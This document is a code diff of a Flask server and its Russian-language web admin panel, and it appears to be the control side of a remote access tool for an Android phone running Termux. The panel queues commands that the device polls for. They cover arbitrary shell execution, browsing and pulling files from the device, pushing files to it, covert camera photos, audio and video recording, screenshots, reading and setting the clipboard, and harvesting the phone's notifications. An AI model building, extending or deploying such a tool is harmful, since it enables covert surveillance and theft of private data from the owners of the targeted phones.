  fileListUl.innerHTML = '';
168
+ const lines = lsOutput.split('\\n'); // Assuming client sends \n, but Flask might re-escape. Check actual data if issues.
169
+ // If outputArea shows literal \n, then split by '\n' might be needed.
170
+ // For now, assuming client replaces \n with \\n for JSON string.
 
 
 
 
171
 
172
+ let isRootOrHome = (currentPath === '/' || currentPath === '~'); // Simplified check
173
+ // Check for path like /data/data/com.termux/files/home too, which is effectively ~
174
+ if (currentPath.startsWith('/data/data/com.termux/files/home') &&
175
+ (currentPath.length === '/data/data/com.termux/files/home'.length || currentPath.length === '/data/data/com.termux/files/home'.length + 1 && currentPath.endsWith('/'))) {
176
+ isRootOrHome = true;
177
+ }
178
 
179
+
180
+ if (!isRootOrHome) {
181
  const parentLi = document.createElement('li');
182
  parentLi.className = 'dir';
183
  const parentA = document.createElement('a');
 
190
 
191
  lines.forEach(line => {
192
  if (line.trim() === '' || line.startsWith("Содержимое")) return;
193
+ const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/); // Matches literal [D] or [F]
194
+ if (!parts) { // Fallback for lines not matching [D]/[F] format, e.g. error messages
195
+ const li = document.createElement('li');
196
+ li.textContent = line;
197
+ fileListUl.appendChild(li);
198
+ return;
199
+ };
200
+
201
+ const type = parts[1];
202
  const name = parts[2].trim();
203
+
204
  const li = document.createElement('li');
205
  const nameSpan = document.createElement('span');
206
  const a = document.createElement('a');
207
  a.href = '#';
208
+
209
  if (type === '[D]') {
210
  li.className = 'dir';
211
  a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
212
  a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
213
  nameSpan.appendChild(a);
214
+ } else { // Assuming [F]
 
215
  li.className = 'file';
216
  a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
217
+ // Make file name clickable for future actions if needed, for now no-op
218
+ a.onclick = (e) => { e.preventDefault(); /* Potentially show file info */ };
219
  nameSpan.appendChild(a);
220
 
221
  const downloadBtn = document.createElement('button');
222
  downloadBtn.className = 'download-btn';
223
  downloadBtn.textContent = 'Скачать';
224
  downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
225
+ li.appendChild(nameSpan);
226
+ li.appendChild(downloadBtn);
 
227
  }
228
+ if (type === '[D]') li.appendChild(nameSpan);
229
  fileListUl.appendChild(li);
230
  });
231
  }
232
 
 
 
 
 
 
 
 
 
 
 
 
 
 
233
  function renderNotifications(notifications) {
234
  const notificationListDiv = document.getElementById('notificationList');
235
  notificationListDiv.innerHTML = '';
 
237
  notifications.forEach(n => {
238
  const itemDiv = document.createElement('div');
239
  itemDiv.className = 'notification-item';
240
+ const title = n.title || (n.ticker && n.ticker !== "null" ? n.ticker : 'Без заголовка'); // Better title fallback
241
+ const content = n.content || (n.text && n.text !== "null" ? n.text : 'Нет содержимого'); // Better content fallback
242
  itemDiv.innerHTML = `
243
+ <strong>${title} (ID: ${n.id || 'N/A'})</strong>
244
  <span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
245
  <span><strong>Тег:</strong> ${n.tag || 'N/A'}, <strong>Ключ:</strong> ${n.key || 'N/A'}</span>
246
  <span><strong>Когда:</strong> ${n.when ? new Date(n.when).toLocaleString() : 'N/A'}</span>
247
+ <p>${content}</p>
248
  `;
249
  notificationListDiv.appendChild(itemDiv);
250
  });
 
252
  notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
253
  }
254
  }
255
+
256
  async function sendGenericCommand(payload) {
257
  try {
258
+ // Show "Sending command..." in the main output area if it's relevant to the current view.
259
+ const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
260
+ if (generalOutputViews.includes(currentView)) {
261
+ document.getElementById('outputArea').innerText = "Отправка команды...";
262
+ } else if (currentView === 'files') {
263
+ // For file view, commands might update file list, don't overwrite general output unless error
264
+ }
 
 
 
 
265
 
266
  const response = await fetch('/send_command', {
267
  method: 'POST',
 
270
  });
271
  if (!response.ok) {
272
  console.error("Server error sending command");
273
+ if (generalOutputViews.includes(currentView)) {
274
+ document.getElementById('outputArea').innerText = "Ошибка сервера при отправке команды.";
275
+ }
276
+ }
277
+ // Result will be shown by refreshOutput
278
  } catch (error) {
279
  console.error("Network error sending command:", error);
280
+ if (generalOutputViews.includes(currentView)) {
281
+ document.getElementById('outputArea').innerText = "Сетевая ошибка при отправке команды.";
282
+ }
283
  }
284
  }
285
 
286
  function navigateTo(itemName) {
287
  sendGenericCommand({ command_type: 'list_files', path: itemName });
288
+ if (currentView === 'files') {
289
  document.getElementById('fileList').innerHTML = '<li>Загрузка...</li>';
290
  }
291
  }
292
 
293
  function requestDownloadFile(filename) {
294
  sendGenericCommand({ command_type: 'request_download_file', filename: filename });
295
+ const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
296
+ if (generalOutputViews.includes(currentView)) { // Update main output if relevant
297
+ document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
298
+ }
299
+ // Also good to have a specific status message in the "files" view if possible, or rely on refreshOutput for the command's direct response.
300
  }
301
+
302
  function refreshClientPathDisplay(){
303
+ if (document.getElementById('currentPathDisplay')) {
304
  fetch('/get_status_output').then(r=>r.json()).then(data => {
305
  if(data.current_path) document.getElementById('currentPathDisplay').innerText = data.current_path;
306
  });
 
308
  }
309
 
310
  window.onload = () => {
311
+ showSection('dashboard'); // Start with dashboard
312
  setInterval(refreshOutput, 4000); // Regular refresh
313
  refreshOutput(); // Initial refresh
314
  };
315
+
316
  function submitShellCommand(event) {
317
  event.preventDefault();
318
  const command = document.getElementById('command_str').value;
319
  sendGenericCommand({ command_type: 'shell', command: command });
320
  document.getElementById('command_str').value = '';
321
  }
322
+
323
+ function submitMediaCommand(type, ...paramsConfig) { // paramsConfig = ['key1', 'valueId1', 'key2', 'valueId2'...]
324
  let payload = { command_type: type };
325
+ if (paramsConfig.length > 0) {
326
+ for (let i = 0; i < paramsConfig.length; i += 2) {
327
+ const paramName = paramsConfig[i];
328
+ const paramValueId = paramsConfig[i+1];
329
+ if (paramName && paramValueId) {
330
+ const valueElement = document.getElementById(paramValueId);
331
+ // Send param if element exists and has a non-empty value, or if it's a type that might allow empty (though not for current media params)
332
+ if (valueElement && valueElement.value) {
333
+ payload[paramName] = valueElement.value;
334
+ } else if (valueElement && paramName === 'camera_id' && valueElement.value === '0') { // Explicitly allow '0' for camera_id
335
+ payload[paramName] = valueElement.value;
336
+ }
337
+ // If value is empty for duration, server-side defaults will be used.
338
+ }
339
+ }
340
  }
341
  sendGenericCommand(payload);
342
  }
343
+
344
  async function handleUploadToServer(event) {
345
  event.preventDefault();
346
  const fileInput = document.getElementById('fileToUploadToDevice');
347
  const targetPathInput = document.getElementById('targetDevicePath');
348
+
349
  if (!fileInput.files[0]) {
350
  alert("Пожалуйста, выберите файл для загрузки.");
351
  return;
 
358
  const formData = new FormData();
359
  formData.append('file_to_device', fileInput.files[0]);
360
  formData.append('target_path_on_device', targetPathInput.value);
361
+
362
  document.getElementById('uploadToDeviceStatus').innerText = 'Загрузка файла на сервер...';
363
 
364
  try {
 
369
  const result = await response.json();
370
  if (result.status === 'success') {
371
  document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
372
+ // Command to client to download the file
373
+ sendGenericCommand({
374
+ command_type: 'receive_file',
375
+ server_filename: result.server_filename, // This is the UUID'd name
376
+ target_path_on_device: result.target_path_on_device,
377
+ original_filename: result.original_filename // Client needs this to save with correct name
378
  });
379
  } else {
380
  document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
 
383
  document.getElementById('uploadToDeviceStatus').innerText = 'Сетевая ошибка при загрузке файл�� на сервер: ' + error;
384
  }
385
  }
386
+
387
  function getClipboard() {
388
  sendGenericCommand({ command_type: 'clipboard_get' });
389
  }
 
402
  function requestDeviceStatus(item = null) {
403
  let payload = { command_type: 'get_device_status' };
404
  if (item) {
405
+ payload.item = item;
406
  }
407
  sendGenericCommand(payload);
408
  }
 
464
  <button onclick="requestDeviceStatus('processes')">Обновить процессы</button>
465
  </div>
466
  </div>
467
+
468
  <div id="notifications" class="container hidden-section">
469
  <h2>Уведомления устройства</h2>
470
  <button onclick="requestNotifications()">Обновить уведомления</button>
 
511
  </form>
512
  <div class="control-section" style="margin-top:20px;">
513
  <h3>Вывод команды:</h3>
514
+ <pre id="outputAreaShellCopy"></pre> <!-- This will be updated by JS -->
515
  </div>
516
  </div>
517
 
518
  <div id="media" class="container hidden-section">
519
  <h2>Мультимедиа</h2>
520
  <div class="control-section">
521
+ <button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button>
522
+ <label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
523
+ <input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;">
 
 
524
  </div>
525
  <div class="control-section">
526
+ <button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button>
527
+ <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
528
+ <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
 
 
529
  </div>
530
+ <div class="control-section"> <!-- New Video Record Section -->
531
+ <button onclick="submitMediaCommand('record_video', 'duration', 'video_duration_input', 'camera_id', 'video_camera_id_input')">Записать видео</button>
532
+ <label for="video_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
533
+ <input type="text" id="video_duration_input" value="10" style="width:50px; display:inline-block;">
534
+ <label for="video_camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
535
+ <input type="text" id="video_camera_id_input" value="0" style="width:50px; display:inline-block;">
 
 
536
  </div>
537
  <div class="control-section">
538
  <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
539
  </div>
540
  <div class="control-section" style="margin-top:20px;">
541
  <h3>Результат операции:</h3>
542
+ <pre id="outputAreaMediaCopy"></pre> <!-- This will be updated by JS -->
543
  </div>
544
  </div>
545
 
 
555
  </div>
556
  <div class="control-section" style="margin-top:20px;">
557
  <h3>Результат операции с буфером:</h3>
558
+ <pre id="outputAreaClipboardCopy"></pre> <!-- This will be updated by JS -->
559
  </div>
560
  </div>
561
 
 
568
  </div>
569
  <div class="control-section" style="margin-top:20px;">
570
  <h3>Результат операции:</h3>
571
+ <pre id="outputAreaUtilsCopy"></pre> <!-- This will be updated by JS -->
572
  </div>
573
  </div>
574
+
575
  <div id="uploads" class="container hidden-section">
576
  <h2>Файлы, загруженные С клиента на сервер</h2>
577
  <div class="control-section">
 
582
  </div>
583
  </div>
584
  <script>
585
+ // This script runs after the main script block with functions due to placement
 
 
586
  document.addEventListener('DOMContentLoaded', () => {
587
  const outputArea = document.getElementById('outputArea');
588
+ const outputAreaShellCopy = document.getElementById('outputAreaShellCopy');
589
+ const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy');
590
+ const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy');
591
+ const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy');
592
+
593
  const observer = new MutationObserver(() => {
594
+ // Update specific output areas only if their respective views are active
595
+ if (outputAreaShellCopy && currentView === 'shell') outputAreaShellCopy.innerText = outputArea.innerText;
596
+ if (outputAreaMediaCopy && currentView === 'media') outputAreaMediaCopy.innerText = outputArea.innerText;
597
+ if (outputAreaClipboardCopy && currentView === 'clipboard') outputAreaClipboardCopy.innerText = outputArea.innerText;
598
+ if (outputAreaUtilsCopy && currentView === 'utils') outputAreaUtilsCopy.innerText = outputArea.innerText;
599
  });
600
+
601
+ // Observe the main outputArea for changes
602
  if (outputArea) {
603
  observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
604
  }
 
615
  @app.route('/send_command', methods=['POST'])
616
  def handle_send_command():
617
  global pending_command, command_output, current_client_path, file_to_send_to_client
618
+
619
  data = request.json
620
+ command_output = "Ожидание выполнения..." # Reset output when new command is sent
621
+
622
  command_type = data.get('command_type')
623
+
624
  if command_type == 'list_files':
625
  path_requested = data.get('path', '.')
626
  pending_command = {'type': 'list_files', 'path': path_requested}
 
636
  pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
637
  elif command_type == 'record_video':
638
  pending_command = {
639
+ 'type': 'record_video',
640
+ 'duration': data.get('duration', '10'),
641
+ 'camera_id': data.get('camera_id', '0')
642
  }
643
  elif command_type == 'screenshot':
644
  pending_command = {'type': 'screenshot'}
 
648
  pending_command = {'type': 'shell', 'command': command_str}
649
  else:
650
  command_output = "Ошибка: Команда не указана."
651
+ elif command_type == 'receive_file': # This case is triggered by JS after server uploads a file for client
652
+ server_filename = data.get('server_filename') # UUID'd name
653
  target_path_on_device = data.get('target_path_on_device')
654
+ original_filename_for_client = data.get('original_filename') # Actual name client should save as
655
+
656
+ if server_filename and target_path_on_device and original_filename_for_client:
657
  file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
658
  if os.path.exists(file_path_on_server):
659
  pending_command = {
660
+ 'type': 'receive_file',
661
  'download_url': url_for('download_to_client', filename=server_filename, _external=True),
662
  'target_path': target_path_on_device,
663
+ 'original_filename': original_filename_for_client
664
  }
665
+ # No need to manage file_to_send_to_client here, as the file is already on server
666
  else:
667
  command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
668
  else:
669
+ command_output = "Ошибка: Недостаточно данных для отправки файла клиенту (отсутствует server_filename, target_path или original_filename)."
670
+ app.logger.error(f"Receive_file error: server_filename={server_filename}, target_path={target_path_on_device}, original_filename={original_filename_for_client}")
671
+
672
  elif command_type == 'clipboard_get':
673
  pending_command = {'type': 'clipboard_get'}
674
  elif command_type == 'clipboard_set':
 
681
  else:
682
  command_output = "Ошибка: URL для открытия не указан."
683
  elif command_type == 'get_device_status':
684
+ item_requested = data.get('item')
685
  pending_command = {'type': 'get_device_status', 'item': item_requested}
686
  elif command_type == 'get_notifications':
687
  pending_command = {'type': 'get_notifications'}
688
  else:
689
  command_output = "Неизвестный тип команды."
690
+
691
  return jsonify({'status': 'command_queued'})
692
 
693
 
 
696
  global pending_command
697
  if pending_command:
698
  cmd_to_send = pending_command
699
+ pending_command = None
700
  return jsonify(cmd_to_send)
701
+ return jsonify(None) # Send null or {} if no command
702
 
703
  @app.route('/submit_client_data', methods=['POST'])
704
  def submit_client_data():
705
  global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
706
+
707
  data = request.json
708
  if not data:
709
  return jsonify({'status': 'error', 'message': 'No data received'}), 400
 
712
 
713
  if 'output' in data:
714
  new_output = data['output']
715
+ max_len = 20000
716
  if len(new_output) > max_len:
717
  command_output = new_output[:max_len] + "\n... (output truncated)"
718
  else:
719
  command_output = new_output
720
+
 
 
 
 
721
  if 'current_path' in data:
722
  current_client_path = data['current_path']
723
 
724
  if 'device_status_update' in data:
725
  update = data['device_status_update']
726
+ for key, value in update.items(): # Iterate and update specific keys
727
  device_status_info[key] = value
728
+ # If output wasn't set by a direct command, provide a generic status update message
729
+ if 'output' not in data: # if no specific command output, acknowledge status update
730
+ command_output = "Статус устройства обновлен на сервере."
731
+
732
  if 'notifications_update' in data:
733
+ notifications_history = data['notifications_update']
734
+ if 'output' not in data and 'device_status_update' not in data: # if no other output source
735
+ command_output = "Список уведомлений обновлен на сервере."
736
 
737
 
 
738
  if 'heartbeat' in data and data['heartbeat']:
739
+ # Only set "Клиент онлайн" if no other important message is pending or just received
740
+ if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data:
741
+ command_output = "Клиент онлайн. (Heartbeat получен)"
742
  return jsonify({'status': 'heartbeat_ok'})
743
+
744
  return jsonify({'status': 'data_received'})
745
 
746
  @app.route('/upload_from_client', methods=['POST'])
 
748
  global command_output, last_client_heartbeat
749
  last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
750
  if 'file' not in request.files:
751
+ # This message is for the client's next /get_command if it were to poll for this response.
752
+ # However, client_uploads_file_to_server expects a direct response.
753
+ # The return jsonify will be the direct response.
754
+ # command_output = "Ошибка на сервере: Файл не был отправлен клиентом (нет 'file' в request.files)."
755
+ return jsonify({'status': 'error', 'message': 'No file part in request'}), 400
756
+
757
  file = request.files['file']
758
+ origin_command_type = request.form.get("origin_command_type", "unknown_origin")
759
+
760
  if file.filename == '':
761
+ # command_output = f"Ошибка на сервере: Клиент ({origin_command_type}) отправил файл без имени."
762
+ return jsonify({'status': 'error', 'message': 'No selected file (empty filename)'}), 400
763
 
764
  if file:
765
+ filename = werkzeug.utils.secure_filename(file.filename)
766
+
767
+ # Ensure unique filename on server by prepending UUID or similar if collisions are a concern
768
+ # For simplicity, let's add a timestamp prefix for common cases like photos/videos
769
+ if origin_command_type in ["take_photo", "record_audio", "record_video", "screenshot"]:
770
+ filename = f"{int(time.time())}_{filename}"
771
+
772
+ # Handle potential path collisions more robustly
773
  base_name, ext = os.path.splitext(filename)
774
+ counter = 0
775
+ final_filename = filename
776
+ filepath = os.path.join(app.config['UPLOAD_FOLDER'], final_filename)
777
+
778
  while os.path.exists(filepath):
779
  counter += 1
780
+ final_filename = f"{base_name}_{counter}{ext}"
781
+ filepath = os.path.join(app.config['UPLOAD_FOLDER'], final_filename)
782
 
783
  try:
784
  file.save(filepath)
785
+ # Update command_output for the admin panel for next refresh, ONLY for user-initiated downloads.
786
+ # For automatic uploads (photo, audio, video, screenshot), the client will send its own status.
787
+ if origin_command_type == "upload_to_server": # This is from "request_download_file" from panel
788
+ command_output = f"Файл '{final_filename}' успешно загружен С клиента на сервер."
789
+ # The client_uploads_file_to_server function receives this JSON response:
790
+ return jsonify({'status': 'success', 'filename': final_filename, 'message': f'File {final_filename} uploaded successfully from client command {origin_command_type}.'}), 200
 
 
791
  except Exception as e:
792
+ # command_output = f"Ошибка сохранения файла от клиента ({origin_command_type}): {str(e)}"
793
+ app.logger.error(f"Error saving file from client {origin_command_type}: {e}")
794
+ return jsonify({'status': 'error', 'message': str(e)}), 500
795
+
796
+ return jsonify({'status': 'error', 'message': 'File object not valid after checks'}), 400
797
+
798
 
799
  @app.route('/get_status_output', methods=['GET'])
800
  def get_status_output_route():
801
  global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
802
  return jsonify({
803
+ 'output': command_output,
804
  'last_heartbeat': last_client_heartbeat,
805
  'current_path': current_client_path,
806
  'device_status': device_status_info,
807
+ 'notifications': notifications_history
808
  })
809
 
810
  @app.route('/uploads_from_client/<path:filename>')
 
814
  @app.route('/list_uploaded_files')
815
  def list_uploaded_files_route():
816
  files = []
817
+ upload_folder = app.config['UPLOAD_FOLDER']
818
  try:
819
+ for f_name in os.listdir(upload_folder):
820
+ if os.path.isfile(os.path.join(upload_folder, f_name)):
821
+ files.append(f_name)
822
+ # Sort files by modification time, newest first
823
+ files.sort(key=lambda f: os.path.getmtime(os.path.join(upload_folder, f)), reverse=True)
824
  except Exception as e:
825
+ app.logger.error(f"Error listing uploaded files: {e}")
826
+ pass
827
  return jsonify({'files': files})
828
 
829
 
830
  @app.route('/upload_to_server_for_client', methods=['POST'])
831
  def upload_to_server_for_client_route():
832
+ # This route handles files uploaded FROM THE ADMIN PANEL, to be sent TO THE CLIENT device.
833
  global command_output
834
  if 'file_to_device' not in request.files:
835
  return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
836
+
837
  file = request.files['file_to_device']
838
  target_path_on_device = request.form.get('target_path_on_device')
839
 
840
  if file.filename == '':
841
+ return jsonify({'status': 'error', 'message': 'No selected file for_device (empty filename)'}), 400
842
+
843
  if not target_path_on_device:
844
  return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
845
 
846
  if file:
847
  original_filename = werkzeug.utils.secure_filename(file.filename)
848
+ # Use a unique name on the server to avoid collisions, client will save with original_filename
849
+ server_side_filename = str(uuid.uuid4()) + "_" + original_filename
850
  filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
851
+
852
  try:
853
  file.save(filepath_on_server)
854
+ # This message will be shown in the admin panel via refreshOutput
855
+ command_output = f"Файл {original_filename} загружен на сервер (как {server_side_filename}), готов к отправке клиенту в {target_path_on_device}."
856
+ # This JSON is returned to the handleUploadToServer JS function
857
  return jsonify({
858
+ 'status': 'success',
859
+ 'server_filename': server_side_filename, # The unique name on server (with UUID)
860
+ 'original_filename': original_filename, # The name client should use
861
+ 'target_path_on_device': target_path_on_device
862
  })
863
  except Exception as e:
864
+ app.logger.error(f"Server error saving file for client: {e}")
865
  return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
866
+
867
+ return jsonify({'status': 'error', 'message': 'File processing failed on server after checks'}), 500
868
 
869
  @app.route('/download_to_client/<filename>')
870
  def download_to_client(filename):
871
+ # This serves files FROM app.config['FILES_TO_CLIENT_FOLDER'] TO the client device
872
  return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
873
 
874
 
875
  if __name__ == '__main__':
876
+ import logging
877
+ logging.basicConfig(level=logging.INFO) # Basic logging for Flask
878
  app.run(host='0.0.0.0', port=7860, debug=False)